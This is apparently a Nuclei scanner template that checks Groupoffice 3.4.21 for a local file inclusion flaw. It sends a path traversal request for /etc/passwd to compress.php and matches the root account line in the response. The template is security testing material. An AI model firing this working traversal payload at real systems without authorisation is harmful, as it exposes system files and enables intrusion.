id: groupoffice-lfi

info:
  name: Groupoffice 3.4.21 - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: Groupoffice 3.4.21 is vulnerable to local file inclusion.
  reference:
    - https://cxsecurity.com/issue/WLB-2018020249
    - http://www.group-office.com
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-22
  metadata:
    max-request: 1
  tags: groupoffice,lfi,traversal

http:
  - method: GET
    path:
      - "{{BaseURL}}/compress.php?file=../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200
# digest: 490a0046304402206614ae25952c1df161aa48e3ca326e643fb5c2c6373612b8826ea86aad7d394702202b22401b5c55e5cd1ceba59468e371f3e5c8664f42a0b35e4732885cf4db75bf:922c64590222798bb761d5b6d8e72950